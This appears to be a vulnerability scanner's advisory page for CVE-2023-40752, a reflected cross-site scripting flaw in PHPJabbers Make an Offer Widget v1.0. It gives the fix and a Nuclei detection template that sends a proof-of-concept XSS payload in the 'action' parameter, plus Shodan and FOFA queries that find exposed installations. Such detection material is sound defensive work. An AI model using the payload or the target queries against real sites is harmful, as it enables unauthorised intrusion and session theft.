PHPJabbers Make an Offer Widget v1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Make an Offer Widget v1.0.

Impact

Unauthenticated attackers can inject malicious JavaScript through the action parameter, potentially stealing session cookies and executing actions on behalf of users interacting with the Make an Offer Widget.

Fix

Update PHPJabbers Make an Offer Widget to a version newer than 1.0 that properly sanitizes the action parameter and encodes output to prevent XSS attacks.

How to confirm it

Send: POST {{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E
Positive when: contains "<img src=x onerror=prompt(document.domain)>" and "didn't exists" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-40752 -u <target>

The full check

id: CVE-2023-40752

info:
  name: PHPJabbers Make an Offer Widget v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Make an Offer Widget v1.0.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the action parameter, potentially stealing session cookies and executing actions on behalf of users interacting with the Make an Offer Widget.
  remediation: |
    Update PHPJabbers Make an Offer Widget to a version newer than 1.0 that properly sanitizes the action parameter and encodes output to prevent XSS attacks.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40752
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40752
    cwe-id: CWE-79
    epss-score: 0.01034
    epss-percentile: 0.64121
    cpe: cpe:2.3:a:phpjabbers:make_an_offer_widget:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: make_an_offer_widget
  tags: cve,cve2023,phpjabbers,make-an-offer-widget,xss,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=prompt(document.domain)>"
          - "didn't exists"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

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